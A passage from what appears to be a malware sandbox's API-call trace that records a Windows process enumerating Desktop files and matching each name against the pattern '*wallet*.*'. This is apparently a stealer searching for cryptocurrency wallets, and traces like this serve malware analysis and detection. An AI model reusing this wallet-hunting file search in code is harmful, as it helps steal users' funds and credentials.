dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x32bb060, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpUsedDefaultChar=0x0) returned 56 [0146.641] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba390 [0146.641] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb060 | out: hHeap=0x2360000) returned 1 [0146.641] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.642] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e40 [0146.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.642] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0146.642] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.642] PathMatchSpecW (pszFile="Mhr9", pszSpec="*wallet*.*") returned 0 [0146.642] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0146.642] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba390 | out: hHeap=0x2360000) returned 1 [0146.642] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 1 [0146.642] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.642] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.642] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.642] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.642] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.642] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.642] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.643] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba198 [0146.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x32ba198, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", lpUsedDefaultChar=0x0) returned 62 [0146.643] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba810 [0146.643] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0146.643] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.643] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e40 [0146.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.643] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0146.643] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.643] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*wallet*.*") returned 0 [0146.643] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0146.643] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba810 | out: hHeap=0x2360000) returned 1 [0146.643] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 0 [0146.643] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0146.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x32bb120 [0146.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x32bb120, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpUsedDefaultChar=0x0) returned 51 [0146.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba780 [0146.644] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb120 | out: hHeap=0x2360000) returned 1 [0146.644] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340cc0 [0146.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340cc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.644] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0146.644] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340cc0 | out: hHeap=0x2360000) returned 1 [0146.644] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*wallet*.*") returned 0 [0146.644] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0146.644] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba780 | out: hHeap=0x2360000) returned 1 [0146.644] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de1b940, ftCreationTime.dwHighDateTime=0x1d7a531, ftLastAccessTime.dwLowDateTime=0x59225a40, ftLastAccessTime.dwHighDateTime=0x1d7a98f, ftLastWriteTime.dwLowDateTime=0x59225a40, ftLastWriteTime.dwHighDateTime=0x1d7a98f, nFileSizeHigh=0x0, nFileSizeLow=0x169f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEIQ6AJHyGUlXgnxWJ.avi", cAlternateFileName="DEIQ6A~1.AVI")) returned 1 [0146.644] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.645] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.645] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.645] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.645] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.645] lstrcatW (in: lpString1="\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="\\DEIQ6AJHyGUlXgnxWJ.avi") returned="\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.645] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.645] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32bab20 [0146.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x32bab20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", lpUsedDefaultChar=0x0) returned 54 [0146.645] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba3d8 [0146.645] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bab20 | out: hHeap=0x2360000) returned 1 [0146.645] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.645] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c60 [0146.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340c60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.645] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405b0 [0146.646] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c60 | out: hHeap=0x2360000) returned 1 [0146.646] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*wallet*.*") returned 0 [0146.646] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405b0 | out: hHeap=0x2360000) returned 1 [0146.646] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba3d8 | out: hHeap=0x2360000) returned 1 [0146.646] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.646] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.646] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.646] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0146.646] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.646] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.646] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0146.646] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.646] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0146.646] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.647] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.647] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.647] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ee0 [0146.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ee0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.647] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340678 [0146.647] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ee0 | out: hHeap=0x2360000) returned 1 [0146.647] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*wallet*.*") returned 0 [0146.647] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340678 | out: hHeap=0x2360000) returned 1 [0146.647] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.647] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35827c90, ftCreationTime.dwHighDateTime=0x1d7a472, ftLastAccessTime.dwLowDateTime=0xe313cd50, ftLastAccessTime.dwHighDateTime=0x1d7af71, ftLastWriteTime.dwLowDateTime=0xe313cd50, ftLastWriteTime.dwHighDateTime=0x1d7af71, nFileSizeHigh=0x0, nFileSizeLow=0xbec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dw5n s d.swf", cAlternateFileName="DW5NSD~1.SWF")) returned 1 [0146.647] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.647] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.647] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="dw5n s d.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf" [0146.647] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.647] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.648] lstrcatW (in: lpString1="\\", lpString2="dw5n s d.swf" | out: lpString1="\\dw5n s d.swf") returned="\\dw5n s d.swf" [0146.648] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.648] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2c) returned 0x33400d0 [0146.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", lpUsedDefaultChar=0x0) returned 44 [0146.648] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.648] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.648] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.648] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e20 [0146.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.648] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0146.648] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0146.648] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*wallet*.*") returned 0 [0146.648] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0146.648] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.648] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89c8bd0, ftCreationTime.dwHighDateTime=0x1d7a3c4, ftLastAccessTime.dwLowDateTime=0x109c61e0, ftLastAccessTime.dwHighDateTime=0x1d7a669, ftLastWriteTime.dwLowDateTime=0x109c61e0, ftLastWriteTime.dwHighDateTime=0x1d7a669, nFileSizeHigh=0x0, nFileSizeLow=0xa4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ett5QjnXB4TVvQ5gQv.xls", cAlternateFileName="ETT5QJ~1.XLS")) returned 1 [0146.648] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.649] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.649] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls" [0146.649] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.649] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.649] lstrcatW (in: lpString1="\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="\\Ett5QjnXB4TVvQ5gQv.xls") returned="\\Ett5QjnXB4TVvQ5gQv.xls" [0146.649] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.649] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32bae60 [0146.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x32bae60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", lpUsedDefaultChar=0x0) returned 54 [0146.649] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba420 [0146.649] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bae60 | out: hHeap=0x2360000) returned 1 [0146.649] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.649] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ee0 [0146.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ee0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.649] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340538 [0146.650] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ee0 | out: hHeap=0x2360000) returned 1 [0146.650] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*wallet*.*") returned 0 [0146.650] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340538 | out: hHeap=0x2360000) returned 1 [0146.650] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba420 | out: hHeap=0x2360000) returned 1 [0146.650] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7598620, ftCreationTime.dwHighDateTime=0x1d7aade, ftLastAccessTime.dwLowDateTime=0xbaa38dc0, ftLastAccessTime.dwHighDateTime=0x1d7acc3, ftLastWriteTime.dwLowDateTime=0xbaa38dc0, ftLastWriteTime.dwHighDateTime=0x1d7acc3, nFileSizeHigh=0x0, nFileSizeLow=0xa96b, dwReserved0=0x0, dwReserved1=0x0, cFileName="F3Jg6iOM3u.avi", cAlternateFileName="F3JG6I~1.AVI")) returned 1 [0146.650] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.650] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.650] lstrcatW (in: 